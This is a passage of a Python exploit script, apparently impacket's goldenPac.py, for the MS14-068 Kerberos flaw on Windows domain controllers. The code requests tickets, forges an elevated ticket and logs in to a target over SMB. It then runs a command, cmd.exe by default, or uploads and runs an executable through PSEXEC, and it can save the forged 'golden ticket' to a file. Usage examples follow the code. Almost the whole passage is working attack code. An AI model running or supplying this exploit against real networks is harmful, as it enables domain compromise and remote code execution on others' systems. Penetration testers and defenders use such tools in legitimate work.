self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = etype2['salt'].prettyPrint() cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, cipherText) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break if exception is None: # Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target) if __name__ == '__main__': import argparse import sys try: import pyasn1 from pyasn1.type.univ import noValue except ImportError: logging.critical('This module needs pyasn1 installed') logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1') sys.exit(1) import datetime from calendar import timegm from time import strptime from impacket import version from impacket.dcerpc.v5 import samr from impacket.dcerpc.v5 import transport from impacket.krb5.types import Principal, Ticket, KerberosTime from impacket.krb5 import constants from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, KerberosError from impacket.krb5.asn1 import AS_REP, TGS_REQ, AP_REQ, TGS_REP, Authenticator, EncASRepPart, AuthorizationData, \ AD_IF_RELEVANT, seq_set, seq_set_iter, KERB_PA_PAC_REQUEST, \ EncTGSRepPart, ETYPE_INFO2_ENTRY from impacket.krb5.crypto import Key from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD from pyasn1.codec.der import decoder, encoder from Cryptodome.Hash import MD5 print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="MS14-068 Exploit. It establishes a SMBConnection and PSEXEcs the " "target or saves the TGT for later use.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('command', nargs='*', default=' ', help='command (or arguments if -c is used) to execute at the target (w/o path). Defaults to ' 'cmd.exe. \'None\' will not execute PSEXEC (handy if you just want to save the ticket)') parser.add_argument('-c', action='store', metavar="pathname", help='uploads the filename for later execution, arguments are passed in the command option') parser.add_argument('-w', action='store', metavar="pathname", help='writes the golden ticket in CCache format into the <pathname> file') parser.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use ' 'the domain part (FQDN) specified in the target parameter') parser.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target host you want to attack. If omitted it will use the targetName ' 'parameter') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() print("\nExamples: ") print("\tpython goldenPac domain.net/normaluser@domain-host\n") print("\tthe password will be asked, or\n") print("\tpython goldenPac.py domain.net/normaluser:mypwd@domain-host\n") print("\tif domain.net and/or domain-machine do not resolve, add them") print("\tto the hosts file or explicitly specify the domain IP (e.g. 1.1.1.1) and target IP:\n") print("\tpython goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host\n") print("\tThis will upload the xxx.exe file and execute it as: xxx.exe param1 param2 paramn") print("\tpython goldenPac.py -c xxx.exe domain.net/normaluser:mypwd@domain-host param1 param2 paramn\n") sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain == '': logging.critical('Domain should be specified!') sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") commands = ' '.join(options.command) if commands == ' ': commands = 'cmd.exe' dumper = MS14_068(address, options.target_ip, username, password, domain, options.hashes, commands, options.c, options.w, options.dc_ip) try: dumper.exploit() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e))
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